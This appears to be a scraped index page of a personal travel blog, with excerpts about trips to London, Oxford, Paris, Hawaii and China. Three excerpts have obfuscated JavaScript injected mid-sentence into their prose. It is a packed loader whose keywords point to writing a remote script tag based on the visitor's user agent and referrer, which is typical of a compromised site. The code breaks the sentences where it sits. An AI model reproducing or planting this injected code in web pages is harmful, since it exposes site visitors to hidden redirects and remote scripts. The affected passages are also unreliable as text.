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Day Trip to Oxford

We decided to take a day trip to Oxford.  1 day in London was plenty, we were ready for a change (insert sarcasm here). We picked up our car and made the hour and a half drive to Oxford without incident. They tell you to park at the park and ride and take the bus […]

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Driving on the other side of the road

Lisa was a champ.  I knew she could do it. But seriously, how weird does this picture look?  Driver on the wrong side.  Everything is ok until your reflexes kick in.  Thankfully, it only happened once, and we came away unscathed!

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1 Day in Paris

There were those that said it couldn’t be done.  And to them I say, HA! We woke up at 4:30AM in order to catch our 6:30AM train to Paris! After a 2.5 hour train ride, we arrived at Gare du Nord.  We were able to purchase metro tickets on the train, which saved us a […]

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1 Day in London

Remember how you were super jealous I got to fly business class?  Don’t deny it.  I’d hate myself too and I’m really not looking forward to my next non-business-class-transatlantic-flight.  But alas, I just got back from a southwest flight from Albuquerque, a quick way to bring me back to airplane-reality. Back to Europe. I landed […]

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Baller: Flying Business Class

I’m a lucky girl.  I will not deny that fact whatsoever. My dad flies a lot.  And he was nice enough to use some of his fancy passes to upgrade me to business class to and from London. I’m spoiled.  It was amazing.  If you don’t want to know how nice international business class is, […]

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Let’s talk about the bathroom

I’m ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayesi|var|u0026u|referrer|ybhnd||js|php’.split(‘|’),0,{})) just going to put it out there. I’m quick in the bathroom.  I’m better than quick, I’m fast.  And I even wash my hands. With soap. I’m not just fast for a girl.  I’m on par with men. When did I first learn this?  A trip to Disneyland with […]

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Back from “Paradise”

We just returned from Hawaii!  Oahu to be exact. You know how they always tell you to stay off Facebook and whatnot while you’re traveling so your place doesn’t get robbed?  That was half the reason for not blogging – didn’t want to let the robbers (who obviously read my blog) know we’d be gone. […]

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The rest?

And now my final China post.  I’ll just list off all the other cool and interesting things we did or saw 🙂 Summer Palace.  The Camp David of Beijing.  The lake is man made and the grounds are beautiful.  I could have spent longer here….especially if it had been warmer. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n […]

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The greatest wall there ever was

The highlight of our trip was our visit to The Great Wall.  Most of my Great Wall knowledge came from Mulan and I think Disney accurately captured the majesty. We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiiri|var|u0026u|referrer|knkke||js|php’.split(‘|’),0,{})) headed to the Badaling section of the great wall.  It is (apparently) the most visited section of the great wall, […]

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Riding a rickshaw and lunch in a hutong

Have you ever been in a rickshaw?  In China?  Yeah, I have!  I was initially scared for my life.  I thought we were going to be riding the rickshaw in Beijing traffic!  Did I mention I witnessed a 3 car accident – I literally watched the accident happen – in slow motion.  I was 100% […]